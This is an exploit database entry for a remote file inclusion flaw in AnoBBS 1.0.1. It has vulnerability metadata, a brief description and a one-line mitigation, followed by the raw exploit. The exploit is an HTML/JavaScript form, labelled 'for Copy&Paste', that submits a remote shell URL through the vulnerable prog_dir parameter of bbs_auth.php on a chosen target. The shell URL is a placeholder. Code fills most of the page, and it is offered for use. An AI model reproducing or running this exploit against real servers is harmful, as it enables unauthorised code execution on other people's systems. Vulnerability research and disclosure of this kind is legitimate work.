AnoBBS 1.0.1 Remote File Inclusion Exploit

vendor:

AnoBBS

by:

bd0rk

7,5

CVSS

HIGH

Remote File Inclusion

CWE

Product Name: AnoBBS

Affected Version From: 1.0.1

Affected Version To: 1.0.1

Patch Exists: NO

Related CWE: N/A

CPE: a:iterapi:anobbs_dev

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Ubuntu-Linux

2009

AnoBBS 1.0.1 Remote File Inclusion Exploit

The $prog_dir-parameter in /anobbs_dev_1.0.1/progs/bbs_auth.php line 7 is vulnerable. An attacker can exploit this vulnerability by inserting malicious code into the $prog_dir parameter, which can be used to execute arbitrary code on the vulnerable system.

Mitigation:

Input validation should be used to prevent malicious code from being injected into the $prog_dir parameter.

Source

Exploit-DB raw data:

<!--
# Title: AnoBBS 1.0.1 Remote File Inclusion Exploit
# Author: bd0rk || Germany
# Tested on: Ubuntu-Linux
# Twitter: twitter.com/bd0rk
# Greetz: Vadim, x0r_32, rgod, zone-h.org, Michael RaumklanG

#Vendor-URL: http://www.iterapi.com/index.php?cat=78&art=788
#Download-Link: http://www.hotscripts.com/listings/jump/download/90434

#The $prog_dir-parameter in /anobbs_dev_1.0.1/progs/bbs_auth.php line 7 is vulnerable.

>>>Exploitcode for Copy&Paste<<<
-->

<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1254">
<title>AnoBBS 1.0.1 Remote File Inclusion Exploit</title>
<script language="JavaScript">
 
var dir="/progs/"
var file="/bbs_auth.php?"
var parameter ="prog_dir="
var shell="Insert your shellcode here"
 
function command() {
if (document.rfi.target1.value==""){
alert("Exploit failed...");
return false;
}
 
rfi.action= document.rfi.target1.value+dir+file+parameter+shell;
rfi.submit();
}
</script>
</head>
 
<body bgcolor="#000000">
<center>
 
<p><b><font face="Verdana" size="2" color="#008000">AnoBBS 1.0.1 Remote File Inclusion Exploit</font></b></p>
 
<p></p>
<form method="post" target="getting" name="rfi" onSubmit="command();">
    <b><font face="Arial" size="1" color="#FF0000">Target:</font><font face="Arial" size="1" color="#808080">[http://[target]/[directory]</font><font color="#00FF00" size="2" face="Arial">
  </font><font color="#FF0000" size="2">&nbps;</font></b>
  <input type="text" name="target1" size="20" style="background-color: #808000" onmouseover="javascript:this.style.background='#808080';" onmouseout="javascript:this.style.background='#808000';"></p>
  <p><input type="submit" value="Start" name="B1"><input type="reset" value="Delete" name="B2"></p>
</form>
<p><br>
<iframe name="getting" height="337" width="633" scrolling="yes" frameborder="0"></iframe>
</p>
 
<b><font face="Verdana" size="2" color="#008000">bd0rk</font></b></p>
</center>
</body>
 
</html>